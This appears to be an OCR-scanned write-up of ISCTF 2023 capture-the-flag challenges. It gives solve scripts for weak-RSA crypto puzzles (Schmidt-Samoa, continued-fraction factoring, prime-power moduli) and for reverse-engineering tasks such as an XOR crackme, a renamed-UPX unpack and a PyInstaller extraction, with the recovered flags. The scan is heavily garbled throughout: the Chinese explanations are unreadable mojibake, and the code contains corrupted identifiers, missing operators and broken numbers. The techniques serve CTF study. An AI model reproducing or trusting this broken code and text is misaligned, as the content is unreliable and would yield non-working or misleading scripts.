# ISCTF{1b106cea3fb848e7bea310c9851f15cl

signin
HRIA : Dexterlie

from Crypto.Util.number import *
from secret import flag
def genKkey(nbits):

p = getPrime(nbits)

g = getPrime(nbits)
N = p*p*q
d = inverse(N, (p-1)*(g-1)//GCD(p-1, g-1))

return N,d


af://n489

def encrypt(message,N):
m = bytes_to_Tlong(flag)
c = pow(m, N, N)
return c

nbits = 1024

m = bytes_to_long(flag)

N,d = genkey(nbits)

c = encrypt(m,N)

print('c =', )
print('N =", N)
print('d =', d)

C =
29897791365314067508830838449733707533227957127276785142837008063510003132596050
393885548439564070
67883869656316457499081175643459973200162213856417632723315438138071764839235767
264289314236760736
96799069403715408674566541514088841714676380605230664064416974539719960115481954
995492001031238415
56085936672833238264876038160712793697159776332101536779874757463509294968879216
810485825310481778
47238453144220603456448853239917124346388190057840774698232477926094195779245521
764188333413136661
43106446071141288681538978063629544565856618555694325137852254535017923561756496
764197726265480719
16379318631677869452985829916084336045071072493567871623113923140668031380684940
109024609167449291
38067512470155754273683472289832808288843056622932284078141133626326859497855856
431074407658163946
92104625675435852517187443402161555576060049954495057823028647258568772893880088
191350233719480174

25832082773421030256964953984562211638060

N =
32319133728974247088030979698436875208680571907882849750668752416364360212795590
267530765283998919
36983240045179193386905918743759145596242896507856007669217275515235051689758768
735530529408948098
86052927792104614606547333335711015800864879920787397674504871451686856175420254
313062971346136531
46275359823797189316335289220762685313638094142550829336156677704918184021268913
701060458386954841
24212397783571579791558324350069782623908757815983802849109451590357380624488436
968737140312471089
66242830811324631058833604443826582257455881651005476321598364946700934545848007
788262411862078901
57585077362724029987213666623527940824954413038950255853166672298655331666149696
410121956682805864
77033200418153345241668242651407009849656745509386158276185301334443855737552801
531617549980843398
64875103264989540393931964895490848761971155570012429419170240698112835534844974
846644995156845113

5718146828444185238617155432417897711198169

d =
22090819539811704862811004213305703250154826422598582316156546039079382589952366
242473291071857935



05245903682872078570596705588521064346151346451834326700237847254303850480282481
086776700955242055
18013647694485975996499747580966911259433184798952372110628624294686853944766950
244209186984164963
98712041668701281134665649886143843261043170586854182997748187538546814374733435
948167321461893115
94031238922131614306024302947909138477220737629993116744281342419562939147161831
074143403304494651
42849402354034926378025006749405210014879947411570380433942279355488861684317611
066949685697268714

760755591128598654573304969

Z#ESchmidt-SamoaZ BR K

'“Nd=1 mod (p—1)(g—1)

EEER—a, o'Vl = o V-0 = 5 mod pg
kx(pxq =a""—a

HNKLBHETEE X q, BERAIREZET

exp:

import gmpy?2

Cc =
29897791365314067508830838449733707533227957127276785142837008063510003132596050
393885548439564070
67883869656316457499081175643459973200162213856417632723315438138071764839235767
264289314236760736
96799069403715408674566541514088841714676380605230664064416974539719960115481954
995492001031238415
56085936672833238264876038160712793697159776332101536779874757463509294968879216
810485825310481778
47238453144220603456448853239917124346388190057840774698232477926094195779245521
764188333413136661
43106446071141288681538978063629544565856618555694325137852254535017923561756496
764197726265480719
16379318631677869452985829916084336045071072493567871623113923140668031380684940
109024609167449291
38067512470155754273683472289832808288843056622932284078141133626326859497855856
431074407658163946
92104625675435852517187443402161555576060049954495057823028647258568772893880088
191350233719480174

25832082773421030256964953984562211638060

N =
32319133728974247088030979698436875208680571907882849750668752416364360212795590
267530765283998919
36983240045179193386905918743759145596242896507856007669217275515235051689758768
735530529408948098



86052927792104614606547333335711015800864879920787397674504871451686856175420254
313062971346136531
46275359823797189316335289220762685313638094142550829336156677704918184021268913
701060458386954841
24212397783571579791558324350069782623908757815983802849109451590357380624488436
968737140312471089
66242830811324631058833604443826582257455881651005476321598364946700934545848007
788262411862078901
57585077362724029987213666623527940824954413038950255853166672298655331666149696
410121956682805864
77033200418153345241668242651407009849656745509386158276185301334443855737552801
531617549980843398
64875103264989540393931964895490848761971155570012429419170240698112835534844974
846644995156845113

5718146828444185238617155432417897711198169

d =
22090819539811704862811004213305703250154826422598582316156546039079382589952366
242473291071857935
05245903682872078570596705588521064346151346451834326700237847254303850480282481
086776700955242055
18013647694485975996499747580966911259433184798952372110628624294686853944766950
244209186984164963
98712041668701281134665649886143843261043170586854182997748187538546814374733435
948167321461893115
94031238922131614306024302947909138477220737629993116744281342419562939147161831
074143403304494651
42849402354034926378025006749405210014879947411570380433942279355488861684317611
066949685697268714

760755591128598654573304969

tmp = pow(2,d*N,N) - 2

pq = gmpy2.gcd(tmp,N)

m = pow(c,d,pq)

print(bytes.fromhex(hex(m)[2:]))

# ISCTF{aeb8bel0-ff19-42cf-8cfd-2ce7lac418e8}

1zRSA

HRRA . Dexterjie

from secret import flag
from Crypto.Util.number import *
import gmpy?2
e = 65537
def genKkey(nbits):
while 1:
pl = getPrime(3*nbits)
p2 = gmpy2.next_prime(pl)
gl = getPrime(nbits)
g2 = getPrime(nbits)
if (abs((pl - p2)*ql*q2 / p2) < 0.5):


af://n497

nl =pl * ql
n2 = p2 * q2
return nl,n2
def encrypt(message,e,n):
m = bytes_to_long(message)
cipher = pow(m,e,n)
return cipher
e = 65537
nbits = 512
N1,N2 = genKey(nbits)
c = encrypt(flag,e,N1)
print("c =",c)
print("N1 =",N1)
print("N2 =",N2)
Cc =
10514867898770499427284608506159580569755258729683776720082395249877529851029152
305989048383470182
99294574399729563833430112855484176761952880937773665123857670066467587176946968
746688534720903302
30211325757004364701052894674236557423231433735782681841415732374339274981437401
555528296336014899
26767185335051352605346248971754473960051955670785777007641909166041398566067524
811394639822575661
46934015291370641736506568383594598023926866514690095769268559024238654094464658
673915842742848447
19785594539546742923004965688233825135055119400621590257003124921634543041209160
554661084980009904
08937265075788135466153131436
N1l =
29306627985861300819651846356448043523015086509329909246911330574896611830331438
353458702041787309
53157062613666910057650110858102450257021298336997938765804157838446620057336288
106076187347859068
46112652491665915109485977987138641277444887474518159196778616847871354640978859
066307724721118994
55047125676738720391327331161464894360886214160668909531050207033060523194208723
151015702926842472
55493384938034337565469611535996049572790922192625163040837652703329112302689320
772244064986739497
16803160084342516675671748062145226216930421649973817293000753943933728089170618
133467944228218194
94227772694592990703688149467
N2 =
18405525902524887428651801489049128242565457677879715229456940729064725933277139
190670749899959483
73434110374018599177102479703724268156677218904532183865266881911298958797486636
106342469821571377
31392818409704998716687967706826925895057690085166306042975705186896398857163074
695688216294244027
42264467677407820449195383921766157185602677665872353099155904715047452319853202
981674101731121033
36039354794024610186494015516069927741709639599876692821354519649203197513512140
930952019885306628



81809448714412242416814781644941697412632362673163805818831968367318726763121258
374973204389649401
86318916950049777255612191899

Legendrelig
Theorem 2 (Legendre). Let £ be a positive real number. Suppose ged(a,b) = 1
and 1
a
€5l <3

Then § is one of the convergents of the continued fraction expansion of .

Note that the continued fractions expansion process is polynomial in time.

LegendreRigHitt, RERRIE - 1 < g Wi ROOEIMERN
NEE SR T AT g — §

RiEsHERE, SEPEBRRIET|F - 4| < 2—;&:&11% < 3, LR T oREsT

ENHEFETTRE g2

exp:

# sage

#sage

from Crypto.Util.number import *

import gmpy?2

C =
10514867898770499427284608506159580569755258729683776720082395249877529851029152
305989048383470182
99294574399729563833430112855484176761952880937773665123857670066467587176946968
746688534720903302
30211325757004364701052894674236557423231433735782681841415732374339274981437401
555528296336014899
26767185335051352605346248971754473960051955670785777007641909166041398566067524
811394639822575661
46934015291370641736506568383594598023926866514690095769268559024238654094464658
673915842742848447
19785594539546742923004965688233825135055119400621590257003124921634543041209160
554661084980009904

08937265075788135466153131436

N1l =
29306627985861300819651846356448043523015086509329909246911330574896611830331438
353458702041787309
53157062613666910057650110858102450257021298336997938765804157838446620057336288
106076187347859068
46112652491665915109485977987138641277444887474518159196778616847871354640978859
066307724721118994
55047125676738720391327331161464894360886214160668909531050207033060523194208723
151015702926842472
55493384938034337565469611535996049572790922192625163040837652703329112302689320
772244064986739497



16803160084342516675671748062145226216930421649973817293000753943933728089170618
133467944228218194
94227772694592990703688149467
N2 =
18405525902524887428651801489049128242565457677879715229456940729064725933277139
190670749899959483
73434110374018599177102479703724268156677218904532183865266881911298958797486636
106342469821571377
31392818409704998716687967706826925895057690085166306042975705186896398857163074
695688216294244027
42264467677407820449195383921766157185602677665872353099155904715047452319853202
981674101731121033
36039354794024610186494015516069927741709639599876692821354519649203197513512140
930952019885306628
81809448714412242416814781644941697412632362673163805818831968367318726763121258
374973204389649401
86318916950049777255612191899
e = 65537
cf = continued_fraction(Integer(N1) / Integer(N2))
i=1
while 1:
ql cf.numerator(i)
q2 cf.denominator(i)
if N1 % gl == 0 and g1 != 1:
print(ql)
pl = N1 // ql
d gmpy2.invert(e, (p1-1)*(ql-1))
m pow(c,d,N1)
flag = long_to_bytes(int(m))
if b"ISCTF" in flag:
print(flag)
break

i+=1
# ISCTF{6f3af9a9-2727-4d48-afb4-9ca82de893f3}

EEXS

HE A fpclose
TR

WENEO DI DD NELEe WENEo  DEIELELEIG o MEUEDEIEIEo  DEUELE EOEo DRLEe DRUEIRLENE DR
I R OIS ORI WY USE? WEISLY UBUEY UUSEY DY SIS
I WISEY ISUSONIBIN Y UYL USUET USLY MY ISEY ISy IS g
Mo MO WAL MNP Do LI o IR IO N IO o NI IR I
I IS ISy USSR Iy ISR I WY DR
MO TSR OB O T I I 0 OIS IO 0 TWINE  INEAE ILIE
IS UESGIY  EY GE? WHSISUBIE Y IS 7 ISR IS Iy g
I S R 2 gy
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R T ERREE:
ISCTF%u7bHSBDH_SFJ_JDNFJ_DINFJIDM%u7d

BEBN/NEiZEfag,

GERIBREL

HEFA: DOUBL3SEV3N

TR

import gmpy2 import libnum
from crypto.uUtil.number import *

f1 ag=b U ISCTF{:’::’::’::‘::‘:-k;':;':z':z':;'::‘::‘:} ' m=byte5_t0_-| ong (f" ag)
p=1ibnum.generate_prime(1024) e=1libnum.generate_prime(512)
c=pow(m,e,n)

output = open('outputl.txt', 'w') output.write('e=' + str(e) + '\n'")

output.write('n=" + str(n) + '\n') output.write('c=" + str(c) + '\n'")
output.close()

FHEBHIXE—E RSA . MifHEHT enflc, BRIRE p M q. KXk phi, BEESEn. FNdiE
B—m, LWRIAY n REMDAFERERAIT, M2 p /98 X7,

43215244169837806460948347 786124 8685186370933997059561 2409550086067 211224407 144019110798099401 | | Factorize!

Result:
number
ihow) (9004395?25..,03{303} (9004396726...03 . 30558

THERRRIREUSISE]: phi= (p**k) -(p**k-1). XERI Kk HiE 8. APARLULE phi= (p**8) -(p**7)
HTIKEHFAE d FOBESE m AUREANT
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import gmpy2

import 1ibnum

from crypto.Util.number import *

# A
e€=840128542307549798996357288860137631337582772285888376756449906647310161508421
4973041844878664837606157257039358849583049856161628241418012475432529735909
n=432152441698378064699483477861248685186370933997059561240955008606721122440714
40191107980994016600103056456815489801605632161017864478752319768351155313753726
78886339587480251211072894186558627897353793098608766868067029578667171419890150
59964078159475508039148944746204216752920338923606572727416609174122706846998768
10837941399253275458100240389371324635182256115787277379407467848918675324981846
42892826569777559107609493212332054559366409007685504768163376250281644004067745
08789965377802341410597304762004128811840465793468925319204372859023161813271656
70846216700742563129393052652444861457586099712490776390852046809231081324152165
43541472534580414274250979940330459551536830268428508217821060604260805109071534
45780835566432990277960305087805569077243084286570124937809677589977825584877317
11083413311286732498990371338515355565159616999258091394765768255241351112372497
09241579903807179252011010794867269715170739895392375920757559721516050680666658
71999049786364698933896026184476212714243948627529467085811407968757224331218422
21267109677449717755857230455244677083870510347602087689568899390504981391893528
42087278125173957182804116052402778416216669522309692266036094371308166663738284
20961521201656417107587442147207042241631890192652571948599179211141433339800443
31437519081993588615147253133343337035392394148067737439419861649816425176731174
12666430463318509571757766510835600758060976848374353352239044908034501477295696
68429481609180194416387750955890904075390758467239082389399167224672602621697301
33303139710075140648318015647033645916966109000892283029365958480246166918784376
18798864186634802647568239526771151323609650598156701595265876736712670677452013
05439333629448345248021327103248820125999078228904713210598984697246209430213256
48090258024210575370918709320148846068638072605211230844236894944019000142322573
81801590783735595575258160274248494498550583673688754220860142413631521279464318
98742544730213544409366303459845569490119931249745922825474645123307895490415998
32695858831469599282226986724136483643911216960922878489315657985572178976782213
79451042304811449415982434055522599829843482810025780349284547491767219221510351
41119225123651734182661933808434813653912141521034548835956398504613663207766546
07933463450512130148360883332669116

5% flag:

ISCTF{3237saq-21se82-3s74f8-8h84ps7-9qw45v7-6bs531-s26h23-c7iu0l1}

rsa_d

HER A : 00001111
#H: RSAIHEISTE

NJRE, fRIBRSATERTIRIAIKH, HIAJ/EERIS ag
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P=XXXXXXXX
J=XXXXXXXX
=XXXXXXXX

phin=(p-1)*(q-1)
d=pow(e,-1,phin)

easy_rsa

HERA : 00001111

i RSALTELTEE

NIIRR, RIERSAITEAI K Hflag
P=XXXXXXXXXX
J=XXXXXXXXXX

E=XXXXXXXXXX
C=XXXXXXXXXX
n=p*q
phin=(p-1)*(q-1)
d=pow(e,-1,phin)
m=pow(c,d,n)

baby group

HEEA: guogl

REBE, XERLA T — 1 mask*maskfYfE, FitE TEmaskiIERE, AEFB— I FHRIMul\*mask
B2/ T—"hash, AiXAhashRHERflagiSZmsg, INZEmsg

EUEA TR R R EMaskRIKARFNARZE Msg
BEcEmaskEHPEMRY, PHRER T —MEEX/NIBEREFFIFITEL
PRISRIA RAEFE AR AR R BRI

a0[1,4,3,2,51\* [a,b,c,d,€]

ERFIRFE—MER, EARFIFRFKEIME, Ba
ERFIRFPE_/MESS, TARYIRFHEINME, Hd

LALESEHE, 15%[a,d.cb €]

SCfR_EPZERsage permutation group

BAIRL T — N $S_256$RIFREF

RIBEFCHIERC, BAVEABmMSRS


af://n535
af://n542

LETE— IXIFRBESP\A2$3KP
DI TFI=& 4R

1. YFHEE—INREG, BRehETHGARTETEEEMSNMER, YTEBEMER, TS
ZIEIMCIESR_i$, BP$$\forall a\in G\ to a\in R_i\quad and \quad \forall i,j < n,i \neq j \to P_i \cap
P_j =\varnothing$$

2, BIP_ISHIKENETE, WX FGRUERIRTIFTERAMEIAF, $P_isHITTREAZE
3. ESPURKENEE, WXSTEERERS, HIP_ISHIKEREF, ZAMMEEHRERER

9NE¥(7,4,1,8,9,5,6,2,31FILADA(1, 7, 6, 5,9, 3), (2, 4, )W NMEIR, AIHILIE2,4,8)Hm 7 —MEHR, M
ZERFE—PTEREER, F2NTTHERS, FINTHERES, FINTTHER2, BIUNRCER, ZEAHN=
MTRAERARER2,4,8B(EM52,4,8, RANINFHEFETEARR.

BERZEAR, BATRETHD, BIRKEANTH, HLERZIE, RIJER248, BAFRE,

T, 7,6, 5,9, 3), BIAITSG\ 2%k, $G\N2$:[6,8,7,2,3,9,5,4, 1], BIBEIABIT, 6,9),
(2,8, 4), (3,7, 5)

BRADERTRMREES, KINAFRN—FIRDHER, MaKERE.
BT bBRtR, ARALULEBH—TRHHoEE.
AR IRKEZEE, B, maskal LA RAREREIRERAT.

HAUKIBICmaskAGITFIGC\2$, HPSEREARTERFRRMETEURER, BAIsEREER
BADHHSEIN. XNTHPRUSEUXER, —ERE—MAEASHI KA. MRESHEEIRI, Ba
P MEMKERS,

EIEBATTLMSRILA T B ER :

T EFEURER, HAISHSC\ 2SWFBETENERE R SR T EREME—FI9ER, WRRE, i
% EAMERANIHNES., NREG, TRILE, BHRER— M KERDHEIRAT,

XTHBEORIER, VEHKEISERKERRIER,

WME, FRIRFIE T GIMAYEIR, HAINZAMTHRERREGIE?
SINER:

ERMERNRBEENTTR, We(INIRFT B

AT BEREREE, L RIS MERRIATRERE.
REABR, BATPRETEAE, MU EEAHETRAIE?

AIETINIE, EXITGRYEIR, HE$G\ 2$pIERIEAR (LrIBRISRIRIBES H# SRR MEEE S
HEAAS) BRRRE— MR TH. WXEIR(1,3,4,6,9,8,7), HIG\V\2$HNZIEIRA
(1,4,9,7,3,6,8)

EEABITINIEG=(3,54,6,2,9,1,7 8| BEME LIAER.

M FHEEIERER, DARIER, B EHEEERA, Z402,4F0101,3) BT LAZ(,2,3,4) 1A LA
£(2,1,4,3), WEHEERHERK

M CARTEEEALUSEHEREE, SIE2RIEN256! BERATHIKE,
BT AwWpBUALEC R AT LABE, FrLAHAIERIPIR
BHO N MERRIS SRR



BARATNERBT IEATTEM L, s HEAECSDN_EiESYERIZERwp:

https://blog.csdn.net/qqg_42557115/article/details/134758791

ezRSA

HRIA: guogl

AR B2 FER D

step 1 2R BER

step2 B — P RIEFR/RE, AEELCGHIRSAHS (MEE)
FhRIRE—ERD

B

$$leak = (e\A2+(ed-1)*f)*getPrime(256) + k$$

BIMEFESILE, R$p=getPrime(256)$

$$leak - k = pe\A2 + (ed-1)*f*p$s$

HAPFEkIIM TR

eRINI5120, FFT/9102401, pA256hiL, E$pe\r2$791280(I
MIkfE800Z!1500Z ]

BrsleERELERIRBIE, Mf(600)/9656811

BT KTF$pe\r2$

EEXFIAFERRS, $pe\N2$aREL, $p*(ed-1)$ /954K
EREOBELHEFp

EKARS, WAJVFAAREIRFEHREEFEAR/NAI25611
EIEREItERK, ZHFaEHEEFEA/N9256bithfHEIkFIp
MELBMREFNIEE, FREFEEERRLAP

AILAERI$e\ 2$F0$ed-1$

FEALIERle, KAGILZALIEER

E%n,e, daJLAK4Sp,q

step1fBR,

fiRstep2, WAL EXIVNT—IZ, ARANGHEBEIFIHER
ZRIRIBT/RE

INFUZRBE=MARAI-RIBT/REE 2551, 1RMEIRI155)56052361

SRR ETleak 1 2EAPrsaflfY, $$p\Ag \equiv g\pmod n$$


https://blog.csdn.net/qq_42557115/article/details/134758791
af://n586

$$q\Ap \equiv p\pmod n$$
Eittleak15CfR_E9$p+q$

Sn=p\*qBX3z##/512, BpHlq
AfeBleak2fiBLCG, ATLUKHT— a1 #Lseed
AEfkeyFlseedRaHHbase

XEBSLR BRIt SabaseitHlAdfinal
EXbasefE Y EISRRIET

SRFRE - HI T

fiERSARNT,

ISCTF{you_knOwW_RSAgcd_and_g0od_at_LCG_also_Tlike_Carmichael_number}

UANTUERET I EIRETTEMGL, LT HERAFECSDN_ EiEREAYEERwp:

https://blog.csdn.net/qq_42557115/article/details/134758791

REVERSE

crackme Easyre babyRre easy_z3

\

260 Solves 182 Solves 1e9 solves 93 Solves

@ se @ 5o @ 50 ® 179

nfx_re easy_f lower_tea z3_revenge WHERE

74 Solves 39 Solves 24 Solves 12 Solves

& 494 @ 856 ® 950 @ 982

FloweyRSA ezrust
11 Solves 5 Solves

& 991 ® 999

EasyRe

HER A : DOUBL3SEV3N
o CBIEMeE 1, HRBYEREN
TEMMEZ FEN idabd, 5 RImE, BE main 2

_mainQ);
strcpy(v4, "]P_ISRFAPCY[I_YWERYC");
memset(v5, 0, sizeof(v5));
ve = 0;
v7 = 0;
puts("please input your strings:");


https://blog.csdn.net/qq_42557115/article/details/134758791
af://n627
af://n631

gets(str);
v1l0 = strlen(Str);
while ( str[i] )
{
for (i =0; 1 <v10; ++i )
v8[i] = str[i] A Ox11;
}
for (1 =0; 1 < v10; ++i )
{
if C v8[i] == 66 || v8[i] == 88 )
v8[i] = -101 - v8[il;
}
for (i =v10 - 1; i >=0; --i )
v8[vl0 - i - 1] = v8[i];
i=0;
if ( v10 > 0 )
{
if C v8[i] == v4[i] )
printf("yes!!1");
else
printf("no!!!");
}
return 0;
_mainQ;
strcpy(v4, "JP_ISRFAPCY[I_YWERYC");
memset(v5, 0, sizeof(v5));
ve = 0;
v7 = 0;
puts("please input your strings:");
gets(str);
v1l0 = strlen(str);
while ( str[i] )
{
for (i =0; 1 < v10; ++i )
v8[i] = str[i] A 0x11;
}
for (i =0; 1 < v10; ++i )
{
if ( v8[i] == 66 || v8[i] == 88 )
v8[i] = -101 - v8[il;
}
for (i =v10 - 1; i >=0; --i )
v8[v1l0 - i - 1] = v8[i];
i=0;
if (vl0 > 0 )
{
if C v8[i] == v4[i] )
printf("yes!!!");
else
printf("no!!!");
}

return 0;

}



FTREZIER, HRPBMA— TSR, ARRFAREE—IFHE x11 B8, REEETZ Eall=
RFETFEEEFEBIIFEXEA (66 2B, 88 EX) MREHMIT 155-66 && 155-88

fr EXBRN BNt SR
if ( v6[i] == 66 || vE[i] == 88 )
ve[1] = 155 - v6[1];

-y

EEAT, RRAFSITIRENFRAS.

for ( 1 =vle - 1; 1 >=0; --1)
vB[vlie - 1 - 1] = v8[1i];
EER THRIXE.:

if ( vie > 8 )
{
1f ( v8[1] == v4[1] )
printf(“yes!!1")
else
printf("no!!!"™);

4

}

BPR, B v8 1 v4 MBI EIER G EER, INREEABLFIMT yes, RZ#M no. M
Va4 FEHRERLR T, v8 N2 flag RIRNWRBIINEX, BFABRENHE v4 I IE, BHE:

strepy(v4, "]P_ISRFAPCY[I_YWERYC");

BABRIENZ G, BEIEMMZAIEERIR, LEXNERFRITEF, REEAER, RES
ox11 Ba, E&EHHEE flag,

FREAIAGNT :

#include <stdio.h>
#include <string.h>
#include <ctype.h>
int main({
char string[99];
int i;
char s1[99],s2[99];



printf("please input your strings:\n");
gets(string);
int n=strlen(String);
for(i=n-1;i>=0;i--) //YF54FH
sl[n-i-1]=String[i];
for(i=0;i<strlen(sl);i++){
if(s1[i]l == 'Y' || s1l[il== 'C") //5F&#, FAEHEBEHRIZ B X, 155-66 =
89, 155-88 & 67.FrLlixHHpg v Fil C 8 B Al X #rElK
s1[i]=0x9b-s1[i];
3
for(i=0;i<strlen(sl);i++)
s2[i]=s1[i]A0x11; //StEizti.
for(i=0;i<strlen(s2);i++)
printf("%c",s2[i]); //#ih flag
return 0;

B ' 5% C\Users\86198\Desktop\challenge\isctf2023 HEE A \EasyRe\#Z 2 exe

please input your strings:
JP_ISR\F PCY[I_YWERYC
[SCTFSNXJSTAOWMCBXNAL u—

°rocess exited after 4.893 seconds with return value 0

5% flag

crackme

HEFA : DOUBL3SEV3N

TEBHHEHEA Exeinfo PE 5%

M Exeinfo PE - ver.0.0.8.0 by AS.L - 1172+162 sign 2023.06.21 — X

: |radme.exe ] £t!'| I -

T g— n b |

Fie Offset : [00007F50 | FrstBytes: [5356575548) @ W  Pug

lnker Info: [204 | SubSystem e | | D

File Size : <| 9T Overlay a8 (&

A
is 64 bi A l’ B
t executa RES/OVL: 0/ 48 % 2023

[ Tampared file ] x64 UPX v3.9 - 4.0 - [ 3.96 ] - exe signature - m13-2073| Sm;t | Rip
Lamer Info - Help Hint -Unpack info

[Big sec. 02 [PFX0], Don't ry : upx.exe 4 option (min. 391u=xreq.-red| 2 >>

BRETIR upx 5T, BRIETRAESIHA upx.exe -d Kfi:



af://n653

L—amer VInfo - Hel;-) Hint ’U\pack info

Big sec. 02 [PFX0 ] , Don't try : upx.exe -d option ( min. 3.91 UPX required

EP section A%, 2N T, winhex BF:

Q0 Q0 Q0 Q0O QO QO QO OO 50 46 58 30 Q0 Q0 QO QO —df}(t:i

Q0 BO 01 00 Q00 10 00 @0 Q0 OO0 OO0 Q0O QOO 02 00 QO @

Q0 00 00 Q0 Q0O 00O Q0O Qo Q0 OO0 00 Q0O 80 00O 00 EO € a

50 46 58 30 00 00 Q0 QO Q0 90 00 Q0 QO CO 01 Qo BEFX0O " A

Q0 82 00 00 00 02 00 QO Q0 00 00 QOO QOO 0O 0O 9o .

Q0 Q00 QOO0 Q0 40 00 QOO0 EO 55 50 58 32 00 00 00 Q0 :c aupx2z -
KXIRZAY 16 ), 1E5— PFX0 ZZRk UPX0, 5/ PFX0 3&Rk UPX1, tHEiEBE— 50 46 58 30
BBk 55 50 58 30; 5/ 50 46 58 30 Ak 55 50 58 31 4T :

00 OO0 00 00 00 00 00 00 ISS S0 58 30 Il:l 0 Q0 Q00 Q0 UEX0O

00 BO 01 00 00 10 00 Q0O Q0 Q00 00 00 QO 02 00 QO @

Q0 Q0 Q0O 00O 00 Q0 Q0 Qo Q0 Q0 Q0 Q00O 80 QO QOO EO € é
I55 50 58 31 I:i 0 00 00 QO 00 90 00 00 QOO0 CO Q1 00O | UEX1 A

00 82 00 00 00 02 Q0O QO Q0 Q0 QOO0 00 00 Q0O 00 Qo R
BXE-—TESERT
M Exeinfo PE - ver.0.0.8.0 by AS.L- 1172+162 sign 2023.06.21 — X

File : |cackmel.exe y LJ
Entry Point : |00023D50 ool | < EP Section : _ |uPx1 % il
File Offset : [00007F50 ,/-ﬁ'sfs’yt:-' 53 56 57 55 48 © | rug
Linker Info : [2.24 SubSystem : |Win Console | PE )
FieSze: [00010594h < (M Overlay:  [00007F94 | - &

N . 4 ¥
- =
Image is 64 bit executable RES/OVL: 0/ 48 % 2023 =
x64 UPX v3.9 - 4.0 - [_;:.96 ] - exe signature - 2013-2023 - htm:ffupx.glﬂu: Scan / t Rip
Lamer Info - Help Hint -Unpack info ) : =
—{Big.5c, Q2 [UPX1]  ry : upx.exe -d option (min. 3.91 LPX requred !!!) L I~ >>

SRIER, 5!

Ratio

51. 13%

SRISELN idabd B FFEL



ar'g_e_z dward |:.|tr~ Tah

|;]ntt-c{n mnremm - =2 arg_8= gword ptr 18h
_rl'lll"lg“_l ‘arameterHandler
[ 7] pre_c_init bush rbp
[ pre cpp init pu;h rdi 1
lTl _hhai‘tCRTSurtl.ln lea r'bs: [rsp+déh]
[ F] WinMainCRTStartup mov [rbp+3ABh+arg 8], ecx
Ema'n(lﬂstartup mov [rbp+3f8h+arg_8], rdx
1 i
% “:::me  painter :1:\.' ;:? 12?33?34654&3534%
7 o oy g g e,
_setargv bp+3A8h 3FE],
IB __mingw_raise_matherr x: }‘;x:’ 6233;;:;}834;932?
l?.‘ mingw setusermatherr mow [rbp+3A8h+var_3F@], rax
(7] matherr mow rax, 6B2D633139322D68h
- mow [rbp+3A8h+var_3EB], rax
[7] _report error . mov [rbp+3A8h+var_3E@], 7D383374h
(5] it mammes mast 0 lea rdx, [rbp+3a8h+var_3D8]
( 2 mow gax, @
Line 7 of 96 mowv ecx, 78h ; ‘x’
& Graph overview n oA x mow rdi, rdx
— ren stosn
1int _ cdecl main(int argc, const char **argv, const char **envp)
2q
3| char Buffer[8]; // [rsp+28h] [rbp-66h]
4| char v5; // [rsp+48h] [rbp-38h]
5
6/ _main();
7| strepy(Buffer, |"ISCTF{873c-298c-2948-23bh-291h-kt30}");
8 memset(&v5, ©,|0x3Ceuissd);
9| puts(Buffer);
L8] return ©;
R4wiE £33 flag

ISCTF{873c-298c-2948-23bh-291h-kt30}

XEEAETHE, EfEsiTiEFRaEEE I ag.

babyRe

HEA: DOUBL3SEV3N

#p: pyinstxtractor, python ¥

TERHE, B txt SXHFI— exe X1,

exe ;2 pyinstaller ¥J8 py S44ERAT exe X4, A pyinstxtractor2.0 fif exe X4, EA
pyinstxtractor1.0 fREAIBHEIFEERLXMHRIBER, EETLAFANTERE exe TRAY B S
FR.pyc STHRRIN struct.pyc 324k, {B2(FMA pyinstxtractor2.0 iARTFE LRAR, ST
5 7% pyc ¥, XBEABEIR.

BE%c, {EH pyinstxtractor2.0 I& exe 2R,


af://n676

} B C:\Windows\System32\cmd.exe O X
) bl h 1 ]

es within the



= | babyRe.exe extracted

+H #s R
. X 2 -
B % B-|x- .
EERR E6 R o . o W -
i Y o
SR A sra
- v « BE@ > babyR.. v D
A =@ :
# teEAE

A 010, XJLb strcut.pyc, & babyRe.pyc BEHEFRIML., Wbz /G188, WREA
pyinstxtractor1.0 FLEJEEHIN babyRe.pyc HSBE—ITRIBPLRA, IFRNEREFR
h0.

Ll

W =& " L; babyRe.pyc
4 TH + base library.zip
=] #* @ libcrypto-1_1-x64.dll
= EE * @ libssl-1_1-x64.dll
ctf 2 B pyiboot01 bootstrap.pyc
babyRe B pyimod01_archive.pyc
EasyRe | pyimod02 importers.pyc
. B pyimod03 ctypes.pyc
RREAIE P pyimod04 pywin32.pyc
FREESL{HE %1 python37.dll
& WPSE#R G# PYZ-00.pyz
N B l# select.pyd
B struct.pyc
s KEF % ucrtbase.dl|
@ OneDrive [# unicodedata.pyd

[#5 OneDrive - Pers » ¢

60 1-mE

%! VCRUNTIME140.dll

4] api-ms-win-crt-utility-11-1-0.dll

£ £ babyRe.exe ex..

e
202:
202:
202:
202:
202:
202
202:
202:
202:
202:
202:
202
202:
202:




4 010 Editor - CA\Users\86198\Desktop\challenge\iscti202 3 15 A \babyRe\BZ8E50IN\FHERTL..
MAHE)  \IEE EERO O #BN  s0) EE1) &SRl EED) IR0 s0W) g

l % ll'lilll' Yh '

oD 00 00
U000 00T 00 T OO0 U0 00 00 0000 U8 00 00U
40 3 38 00 02
03 64 04 6 06 7 08
08 02
01 3 c ( 0C .
61 04 5 ). U Ld]le/EU.
DA packU. pack intoU
5F .unpackU.unpack_
63 fromU.iter_unpac
72 kU structU.error
63 D070, ¢
64 leILdLhF} u. d
5F oc__N).U.__all
0C U._structr....r.
JA ...B.r....r....Z
64 .struct. pr <mod
02

aL0) B #wRE0) @6 TR0 wsHMW)  &SEid)

AR

babyRe.pyc » BEUTERT

00
o000
00
01 |¢
04
06
0A

T O I O = O

m

01 - L E . -
07 : .. (HBaoac
: A U.*z.ISCT F{**Hr
****w+n+w+w**}|‘
S - N LY
.libnumU.crypto.
Util.numberU.fla
gU.encodeU. flags
U.elU.generate pr
imeU.pU.qU.nU. by
tes‘to_longu.mu.
powu cU.print@.r
[Fomoor Zz .babyR
= pr <module=>. .

=
L]

RiE, MEE pyc XIERFFENTEN py X4, ESLAJLIRINXAN pyc XEZE python3.7 ki
AR, XF 3.8 ARALAERY pyc 344, ELZMubF] uncompyleb RRIRFERTBES AN,
XEFEZMGARRE, TLAEEMERmFEEILIER uncompyle6 XR7RiE, tpdHE




uncompyle6 -o babyRe.py babyRe.pyc

RT3 EER AT LERISIRRD.

o babyRe.py b

Libnum
to.Util.number

libnum.ge

Libnum.

[RIRFER
1 # uncompyleé version 3.9.90
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.6.12 (default, Feb 9 2021, ©9:19:15)
# [GCC 8.3.9]

Embedded file name: babyRe.py
import libnum

